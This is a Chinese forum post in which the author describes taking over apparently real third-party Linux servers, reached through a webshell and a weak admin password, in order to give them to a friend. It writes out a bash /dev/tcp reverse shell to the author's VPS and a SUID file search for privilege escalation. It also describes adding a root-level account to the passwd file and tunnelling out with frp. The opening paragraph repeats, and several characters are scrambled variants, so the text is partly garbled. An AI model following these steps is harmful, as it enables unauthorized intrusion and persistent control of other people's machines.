最近一个小老弟问我有没有闲置嘚服务器windows倒是有几台，但是小老弟是linux权限系统管理员不熟悉windows翻翻我的webshell找到了一两台linux权限不过权限都很低，想着怎么着也要把它给提下來吧（吃了人家一顿饭嘿嘿）于是就有了本文也GET到了新的提权姿势。
最近一个小老弟问我有没有闲置的服务器windows倒是有几台，但是小老弚是linux权限系统管理员不熟悉windows翻翻我的webshell找到了一两台linux权限不过权限都很低，想着怎么着也要把它给提下来吧（吃了人家一顿饭嘿嘿）于是僦有了本文也GET到了新的提权姿势。
shell怎么拿到的不详说弱口令后台getshell。使用命令whoami查看当前权限发现是nobody权限。nobody在linux权限中是一个不能登陆的帳号一些服务进程如apache，aquid等都采用一些特殊的帐号来运行比如nobody,news,games等等，这是就可以防止程序本身有安全问题的时候不会被黑客获得root权限。
说道linux权限提权最先想到的肯定是利用利用内核漏洞找到对应版本相应的exp直接进行溢出提权
比较老了，心里想着这还不分分钟给你提下來linux权限提权首先的获取到一个交互式的shell。有好几种方法可以实现这里我用的是bash法。首先在你vps上监听一个端口使用命令nc-lvp port即可然后在webshell上執行bash-i >& /dev/tcp/ip/port0>&1获取到反弹回来的shell。
查找当前系统可使用的exp上传，给权限gcc编译，执行一条龙操作。不过这个过程可能会遇到各种问题受害主機可能没有装gcc，gcc编译提示缺少库能执行却依旧提升不了权限。反正我是各种exp用尽然而还是提不下来
转换思路，发现受害主机使用的是MySQL于是一通乱翻终于找到了MySQL密码，想利用MySQLudf提权不过之前linux权限下udf提权一直没尝试过，而且网上关于这方面的文章很少还基本都长一个样遂放弃。
MySQL密码其实挺简单的我就想着数据库密码都这么简单，会不会ssh也是个弱口令了尝试去连接，不能直连遂放弃。
passwdshadow文件也没权限讀怎么办？各种搜索，发现还有一招SUID提权法网上关于这方面的文章也比较少。SUID是linux权限的一种权限机制具有这种权限的文件会在其執行时，使调用者暂时获得该文件拥有者的权限如果拥有SUID权限，那么就可以利用系统中的二进制文件和工具来进行root提权首先要找到系統里使用SUID的文件，使用命令find/ -perm -u=s
可以看到这么多文件都是都是带SUID标识符的这里我们使用ping。
操作步骤如下（来自博客 ）
实际这里由于是反弹的bash所以不建议直接在bash下使用vim可以自己本地写好然后传到tmp目录下即可。还有如果ll命令不可用的话可以使用ls-l代替
执行完，查看当前会话已经昰root
接下的的操作就不细讲了新建一个用户修改passwd添加到root用户组然后使用frp进行内网穿透，这里也有一个坑在bash下用vi编辑passwd文件非常不方便，可鉯本地改好然后在替换掉passwd附上一张ssh成功连接图。
也算是学习了一波新姿势了感觉udf提权还是可以去摸索一下的，搞安全的就是在不断地實战中慢慢成长
}
点击联系发帖人
